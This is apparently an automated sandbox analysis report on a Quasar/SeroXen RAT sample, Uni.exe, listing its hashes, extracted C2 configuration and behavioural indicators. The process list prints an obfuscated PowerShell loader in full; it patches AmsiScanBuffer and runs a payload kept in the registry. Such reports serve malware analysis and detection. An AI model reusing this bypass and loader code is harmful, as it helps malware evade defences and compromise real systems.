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Analysis
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max time kernel
6s -
max time network
24s -
platform
windows11-21h2_x64 -
resource
win11-20240508-en -
resource tags
arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system -
submitted
11/05/2024, 07:08
Errors
General
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Target
Uni.exe
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Size
409KB
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MD5
4c2bb0618a6eda615c8001d5a7ccd6c0
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SHA1
c88d2c8bfc5906a5cfef78893d1132edcffd71f0
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SHA256
abcda524c02f9381d8d43f9ec0079d854db821d77f45e88f50606f46871f81d6
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SHA512
6abe53339656a023e2a0547f1c2249789c33091d67a21f2e689c6411dc5357e34ec3c65634b6f6955a5023d20803f7c746b13f574bcd84b008abb4a97ea61027
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SSDEEP
12288:rpg6M1i1v6q1ak/e7xlX7nnvGAwhJLJO:lxqiii6xlLvGjhO
Malware Config
Extracted
quasar
3.1.5
SeroXen
tue-jake.gl.at.ply.gg:29058
$Sxr-xPAuDxLNyBmZ7S2WLJ
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encryption_key
Pw78RUs175dFrKD7lMwH
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install_name
Client.exe
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log_directory
Logs
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reconnect_delay
3000
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startup_key
SeroXen
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subdirectory
SubDir
Signatures
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Quasar payload 2 IoCs
resource yara_rule behavioral1/memory/1988-1-0x0000000000600000-0x000000000066C000-memory.dmp family_quasar behavioral1/files/0x000400000002a9ee-10.dat family_quasar -
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
description pid Process procid_target PID 3928 created 632 3928 powershell.EXE 5 -
Executes dropped EXE 3 IoCs
pid Process 3376 Client.exe 3780 install.exe 2832 install.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
flow ioc 1 raw.githubusercontent.com 4 raw.githubusercontent.com 10 raw.githubusercontent.com -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 1 ip-api.com -
Drops file in System32 directory 4 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx svchost.exe File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx svchost.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 3928 set thread context of 4652 3928 powershell.EXE 92 -
Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 5020 schtasks.exe 4248 SCHTASKS.exe 3024 schtasks.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE -
Suspicious behavior: EnumeratesProcesses 21 IoCs
pid Process 3928 powershell.EXE 3928 powershell.EXE 4768 powershell.EXE 4768 powershell.EXE 3928 powershell.EXE 4652 dllhost.exe 4652 dllhost.exe 4652 dllhost.exe 4652 dllhost.exe 4652 dllhost.exe 4652 dllhost.exe 4652 dllhost.exe 4652 dllhost.exe 3376 Client.exe 4652 dllhost.exe 4652 dllhost.exe 4768 powershell.EXE 4652 dllhost.exe 4652 dllhost.exe 4652 dllhost.exe 4652 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 6 IoCs
description pid Process Token: SeDebugPrivilege 1988 Uni.exe Token: SeDebugPrivilege 3928 powershell.EXE Token: SeDebugPrivilege 3376 Client.exe Token: SeDebugPrivilege 4768 powershell.EXE Token: SeDebugPrivilege 3928 powershell.EXE Token: SeDebugPrivilege 4652 dllhost.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 3376 Client.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1988 wrote to memory of 5020 1988 Uni.exe 79 PID 1988 wrote to memory of 5020 1988 Uni.exe 79 PID 1988 wrote to memory of 5020 1988 Uni.exe 79 PID 1988 wrote to memory of 3376 1988 Uni.exe 81 PID 1988 wrote to memory of 3376 1988 Uni.exe 81 PID 1988 wrote to memory of 3376 1988 Uni.exe 81 PID 1988 wrote to memory of 3780 1988 Uni.exe 82 PID 1988 wrote to memory of 3780 1988 Uni.exe 82 PID 1988 wrote to memory of 3780 1988 Uni.exe 82 PID 1988 wrote to memory of 4248 1988 Uni.exe 83 PID 1988 wrote to memory of 4248 1988 Uni.exe 83 PID 1988 wrote to memory of 4248 1988 Uni.exe 83 PID 3376 wrote to memory of 3024 3376 Client.exe 87 PID 3376 wrote to memory of 3024 3376 Client.exe 87 PID 3376 wrote to memory of 3024 3376 Client.exe 87 PID 3376 wrote to memory of 2832 3376 Client.exe 89 PID 3376 wrote to memory of 2832 3376 Client.exe 89 PID 3376 wrote to memory of 2832 3376 Client.exe 89 PID 3928 wrote to memory of 4652 3928 powershell.EXE 92 PID 3928 wrote to memory of 4652 3928 powershell.EXE 92 PID 3928 wrote to memory of 4652 3928 powershell.EXE 92 PID 3928 wrote to memory of 4652 3928 powershell.EXE 92 PID 3928 wrote to memory of 4652 3928 powershell.EXE 92 PID 3928 wrote to memory of 4652 3928 powershell.EXE 92 PID 3928 wrote to memory of 4652 3928 powershell.EXE 92 PID 3928 wrote to memory of 4652 3928 powershell.EXE 92 PID 4652 wrote to memory of 632 4652 dllhost.exe 5 PID 4652 wrote to memory of 692 4652 dllhost.exe 7 PID 4652 wrote to memory of 1000 4652 dllhost.exe 12 PID 4652 wrote to memory of 480 4652 dllhost.exe 13 PID 4652 wrote to memory of 640 4652 dllhost.exe 14 PID 4652 wrote to memory of 1056 4652 dllhost.exe 15 PID 4652 wrote to memory of 1140 4652 dllhost.exe 17 PID 4652 wrote to memory of 1148 4652 dllhost.exe 18 PID 4652 wrote to memory of 1192 4652 dllhost.exe 19 PID 4652 wrote to memory of 1200 4652 dllhost.exe 20 PID 4652 wrote to memory of 1260 4652 dllhost.exe 21 PID 4652 wrote to memory of 1312 4652 dllhost.exe 22 PID 4652 wrote to memory of 1320 4652 dllhost.exe 23 PID 4652 wrote to memory of 1416 4652 dllhost.exe 24 PID 4652 wrote to memory of 1592 4652 dllhost.exe 25 PID 4652 wrote to memory of 1612 4652 dllhost.exe 26 PID 4652 wrote to memory of 1704 4652 dllhost.exe 27 PID 4652 wrote to memory of 1772 4652 dllhost.exe 28 PID 4652 wrote to memory of 1780 4652 dllhost.exe 29 PID 4652 wrote to memory of 1928 4652 dllhost.exe 30 PID 4652 wrote to memory of 1952 4652 dllhost.exe 31 PID 4652 wrote to memory of 2044 4652 dllhost.exe 32 PID 4652 wrote to memory of 1584 4652 dllhost.exe 33 PID 4652 wrote to memory of 1628 4652 dllhost.exe 34 PID 4652 wrote to memory of 2052 4652 dllhost.exe 35 PID 4652 wrote to memory of 2128 4652 dllhost.exe 36 PID 4652 wrote to memory of 2212 4652 dllhost.exe 37 PID 4652 wrote to memory of 2296 4652 dllhost.exe 39 PID 4652 wrote to memory of 2328 4652 dllhost.exe 40 PID 4652 wrote to memory of 2508 4652 dllhost.exe 41 PID 4652 wrote to memory of 2520 4652 dllhost.exe 42 PID 4652 wrote to memory of 2560 4652 dllhost.exe 43 PID 4652 wrote to memory of 2624 4652 dllhost.exe 44 PID 4652 wrote to memory of 2660 4652 dllhost.exe 45 PID 4652 wrote to memory of 2688 4652 dllhost.exe 46 PID 4652 wrote to memory of 2700 4652 dllhost.exe 47 PID 4652 wrote to memory of 2740 4652 dllhost.exe 48 PID 4652 wrote to memory of 2752 4652 dllhost.exe 49
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:632
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:480
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{3fa45551-ea01-4b51-9dca-98e6c362d6c4}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4652
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{38ab27e5-22e9-43c3-a4de-609f5f732892}2⤵PID:4900
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C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x4 /state0:0xa3a1d855 /state1:0x41c64e6d2⤵PID:72
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:692
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:1000
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:640
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:1056
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵PID:1140
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:cHqwdRszoXbe{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$uTxrIdqapTfnBN,[Parameter(Position=1)][Type]$rqswqEEICk)$mZYEKJnShql=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'e'+'f'+''+[Char](108)+''+[Char](101)+'c'+[Char](116)+'e'+[Char](100)+'D'+[Char](101)+''+[Char](108)+''+[Char](101)+''+[Char](103)+''+[Char](97)+''+'t'+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+'M'+[Char](101)+''+[Char](109)+''+'o'+'r'+'y'+''+'M'+''+[Char](111)+''+[Char](100)+''+'u'+''+[Char](108)+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+''+'e'+''+[Char](108)+''+[Char](101)+''+'g'+'a'+[Char](116)+'eT'+'y'+''+'p'+''+'e'+'',''+'C'+''+'l'+''+[Char](97)+'ss'+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+'l'+'i'+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](101)+''+[Char](97)+''+[Char](108)+'e'+'d'+''+[Char](44)+''+[Char](65)+'n'+'s'+''+'i'+''+[Char](67)+'l'+[Char](97)+''+'s'+''+[Char](115)+''+[Char](44)+''+[Char](65)+''+'u'+'t'+[Char](111)+'Cla'+[Char](115)+''+'s'+'',[MulticastDelegate]);$mZYEKJnShql.DefineConstructor(''+[Char](82)+''+'T'+''+'S'+''+'p'+''+'e'+''+[Char](99)+''+'i'+'a'+[Char](108)+''+'N'+''+[Char](97)+''+[Char](109)+'e,'+[Char](72)+'i'+[Char](100)+''+[Char](101)+'B'+[Char](121)+''+[Char](83)+''+'i'+''+'g'+''+','+''+[Char](80)+''+'u'+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$uTxrIdqapTfnBN).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+'t'+'i'+''+[Char](109)+''+[Char](101)+','+[Char](77)+'an'+[Char](97)+''+[Char](103)+''+'e'+''+'d'+'');$mZYEKJnShql.DefineMethod(''+'I'+''+'n'+''+[Char](118)+''+[Char](111)+''+[Char](107)+''+[Char](101)+'','P'+[Char](117)+''+'b'+''+[Char](108)+''+'i'+''+[Char](99)+''+[Char](44)+'H'+[Char](105)+''+[Char](100)+''+'e'+''+[Char](66)+''+[Char](121)+''+'S'+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](78)+''+[Char](101)+''+'w'+''+[Char](83)+''+[Char](108)+''+[Char](111)+''+[Char](116)+''+','+''+'V'+''+[Char](105)+''+'r'+''+[Char](116)+''+[Char](117)+'a'+[Char](108)+'',$rqswqEEICk,$uTxrIdqapTfnBN).SetImplementationFlags('R'+'u'+''+[Char](110)+''+[Char](116)+''+'i'+''+[Char](109)+''+'e'+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+'a'+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');Write-Output $mZYEKJnShql.CreateType();}$EVpCUdGgBHvdQ=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+'y'+''+[Char](115)+''+'t'+''+[Char](101)+''+[Char](109)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+'l'+'')}).GetType(''+[Char](77)+'i'+'c'+''+[Char](114)+''+[Char](111)+''+'s'+''+[Char](111)+''+'f'+'t.W'+[Char](105)+''+[Char](110)+''+[Char](51)+''+[Char](50)+'.Un'+'s'+'a'+[Char](102)+''+[Char](101)+'N'+[Char](97)+''+[Char](116)+'i'+[Char](118)+''+[Char](101)+''+[Char](77)+''+[Char](101)+''+'t'+''+[Char](104)+''+'o'+'d'+[Char](115)+'');$xUjlkTidZzYABB=$EVpCUdGgBHvdQ.GetMethod('G'+'e'+''+'t'+'Pro'+'c'+''+[Char](65)+'d'+[Char](100)+'re'+[Char](115)+'s',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+'b'+[Char](108)+''+'i'+''+[Char](99)+''+[Char](44)+'S'+'t'+''+[Char](97)+''+[Char](116)+'ic'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$mdYnZzrlcltFVxkXUFW=cHqwdRszoXbe @([String])([IntPtr]);$tXYycJwGKsGpptkWdZRswn=cHqwdRszoXbe @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$ELOGwcfupAU=$EVpCUdGgBHvdQ.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+[Char](77)+''+[Char](111)+''+[Char](100)+'u'+'l'+''+[Char](101)+''+[Char](72)+''+[Char](97)+''+[Char](110)+'d'+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+''+[Char](110)+'el'+'3'+''+'2'+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$tTukZXornvJorD=$xUjlkTidZzYABB.Invoke($Null,@([Object]$ELOGwcfupAU,[Object](''+[Char](76)+''+'o'+''+[Char](97)+''+[Char](100)+'L'+'i'+'br'+[Char](97)+''+[Char](114)+''+'y'+''+'A'+'')));$wORxNHXSwKhmGfGUc=$xUjlkTidZzYABB.Invoke($Null,@([Object]$ELOGwcfupAU,[Object](''+[Char](86)+''+[Char](105)+''+'r'+'tu'+[Char](97)+'lP'+[Char](114)+''+[Char](111)+''+'t'+''+[Char](101)+''+'c'+''+[Char](116)+'')));$rrIvNmw=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($tTukZXornvJorD,$mdYnZzrlcltFVxkXUFW).Invoke('a'+'m'+''+'s'+''+[Char](105)+''+'.'+''+[Char](100)+''+[Char](108)+''+[Char](108)+'');$zQJrUsXYBdfviYklP=$xUjlkTidZzYABB.Invoke($Null,@([Object]$rrIvNmw,[Object]('Am'+'s'+''+'i'+''+[Char](83)+'c'+[Char](97)+''+[Char](110)+''+[Char](66)+''+[Char](117)+''+[Char](102)+''+[Char](102)+'e'+[Char](114)+'')));$hPGxiZfkne=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($wORxNHXSwKhmGfGUc,$tXYycJwGKsGpptkWdZRswn).Invoke($zQJrUsXYBdfviYklP,[uint32]8,4,[ref]$hPGxiZfkne);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$zQJrUsXYBdfviYklP,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($wORxNHXSwKhmGfGUc,$tXYycJwGKsGpptkWdZRswn).Invoke($zQJrUsXYBdfviYklP,[uint32]8,0x20,[ref]$hPGxiZfkne);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+'T'+[Char](87)+'AR'+[Char](69)+'').GetValue(''+[Char](36)+'7'+[Char](55)+''+[Char](115)+'t'+[Char](97)+''+[Char](103)+''+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3928
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:LfOzkmaJeAWL{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$qbKgXsUbntzSMd,[Parameter(Position=1)][Type]$FykgNWQMBw)$gEzAXyNPPjW=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('Re'+'f'+''+[Char](108)+''+[Char](101)+''+'c'+''+'t'+''+'e'+''+[Char](100)+'D'+[Char](101)+''+'l'+'e'+[Char](103)+''+[Char](97)+'t'+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+[Char](110)+'M'+[Char](101)+''+[Char](109)+''+[Char](111)+''+'r'+'y'+[Char](77)+''+'o'+''+'d'+''+'u'+''+[Char](108)+''+'e'+'',$False).DefineType('M'+[Char](121)+''+'D'+''+[Char](101)+''+[Char](108)+''+[Char](101)+''+[Char](103)+''+[Char](97)+'t'+'e'+''+[Char](84)+''+[Char](121)+''+[Char](112)+''+'e'+'',''+'C'+''+[Char](108)+''+[Char](97)+'s'+[Char](115)+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+'lic'+[Char](44)+''+[Char](83)+''+[Char](101)+''+'a'+''+'l'+''+'e'+''+[Char](100)+''+[Char](44)+''+[Char](65)+'ns'+[Char](105)+''+[Char](67)+''+[Char](108)+''+[Char](97)+'s'+[Char](115)+''+[Char](44)+'A'+[Char](117)+'t'+[Char](111)+'C'+'l'+'a'+'s'+'s',[MulticastDelegate]);$gEzAXyNPPjW.DefineConstructor(''+[Char](82)+''+'T'+''+'S'+''+'p'+'e'+'c'+''+'i'+''+[Char](97)+''+[Char](108)+''+'N'+''+[Char](97)+''+[Char](109)+''+'e'+''+[Char](44)+''+'H'+''+[Char](105)+'de'+[Char](66)+'y'+[Char](83)+''+[Char](105)+'g'+[Char](44)+''+[Char](80)+''+[Char](117)+'b'+'l'+''+'i'+''+'c'+'',[Reflection.CallingConventions]::Standard,$qbKgXsUbntzSMd).SetImplementationFlags(''+[Char](82)+'u'+[Char](110)+''+'t'+''+'i'+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+'a'+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+'d');$gEzAXyNPPjW.DefineMethod(''+'I'+''+'n'+''+'v'+'ok'+'e'+'',''+'P'+'ub'+'l'+''+[Char](105)+'c'+[Char](44)+''+[Char](72)+''+'i'+''+[Char](100)+''+[Char](101)+''+'B'+''+'y'+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+'N'+'e'+''+[Char](119)+''+[Char](83)+''+'l'+''+[Char](111)+''+[Char](116)+','+[Char](86)+''+[Char](105)+''+[Char](114)+''+[Char](116)+''+[Char](117)+'a'+'l'+'',$FykgNWQMBw,$qbKgXsUbntzSMd).SetImplementationFlags('Ru'+'n'+'t'+[Char](105)+''+'m'+''+[Char](101)+''+[Char](44)+''+'M'+'a'+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+'d'+'');Write-Output $gEzAXyNPPjW.CreateType();}$sybRPTiMDVJEz=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+'y'+''+[Char](115)+''+'t'+''+[Char](101)+''+'m'+'.'+'d'+''+[Char](108)+''+'l'+'')}).GetType(''+[Char](77)+'i'+[Char](99)+''+[Char](114)+''+[Char](111)+''+[Char](115)+''+'o'+''+'f'+''+[Char](116)+''+'.'+'W'+[Char](105)+''+[Char](110)+''+[Char](51)+''+'2'+'.'+[Char](85)+''+[Char](110)+''+'s'+''+[Char](97)+'f'+[Char](101)+''+[Char](78)+''+[Char](97)+''+'t'+''+'i'+'ve'+'M'+''+'e'+''+[Char](116)+''+[Char](104)+''+[Char](111)+''+[Char](100)+''+[Char](115)+'');$YMTPIvoZMiDHCj=$sybRPTiMDVJEz.GetMethod(''+[Char](71)+''+[Char](101)+''+'t'+''+'P'+''+[Char](114)+''+[Char](111)+'c'+[Char](65)+''+[Char](100)+'d'+[Char](114)+''+'e'+'ss',[Reflection.BindingFlags](''+[Char](80)+'u'+[Char](98)+''+'l'+''+[Char](105)+'c'+[Char](44)+''+[Char](83)+''+'t'+''+'a'+''+'t'+''+[Char](105)+''+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$GKMmctecYyEcZbcIhPQ=LfOzkmaJeAWL @([String])([IntPtr]);$cFSySfqVPBEDiRjPzdVNFJ=LfOzkmaJeAWL @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$aAEIadoQWfR=$sybRPTiMDVJEz.GetMethod(''+'G'+''+[Char](101)+''+[Char](116)+'M'+[Char](111)+''+'d'+''+'u'+''+[Char](108)+''+'e'+''+'H'+'a'+[Char](110)+'d'+[Char](108)+''+'e'+'').Invoke($Null,@([Object](''+'k'+''+'e'+''+[Char](114)+''+[Char](110)+'e'+'l'+''+[Char](51)+'2'+[Char](46)+''+[Char](100)+''+[Char](108)+''+'l'+'')));$UjLIIePAiQydIA=$YMTPIvoZMiDHCj.Invoke($Null,@([Object]$aAEIadoQWfR,[Object]('L'+[Char](111)+''+'a'+''+[Char](100)+''+[Char](76)+''+[Char](105)+'b'+[Char](114)+''+[Char](97)+'r'+'y'+''+[Char](65)+'')));$rWEAntqIgZNBWxBkE=$YMTPIvoZMiDHCj.Invoke($Null,@([Object]$aAEIadoQWfR,[Object]('V'+[Char](105)+''+[Char](114)+''+[Char](116)+''+[Char](117)+'al'+'P'+''+'r'+''+[Char](111)+''+[Char](116)+''+[Char](101)+''+[Char](99)+''+'t'+'')));$IeKkqEf=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($UjLIIePAiQydIA,$GKMmctecYyEcZbcIhPQ).Invoke(''+[Char](97)+''+[Char](109)+''+'s'+''+[Char](105)+''+[Char](46)+''+[Char](100)+'l'+'l'+'');$lWYqvsohjMcTMVizL=$YMTPIvo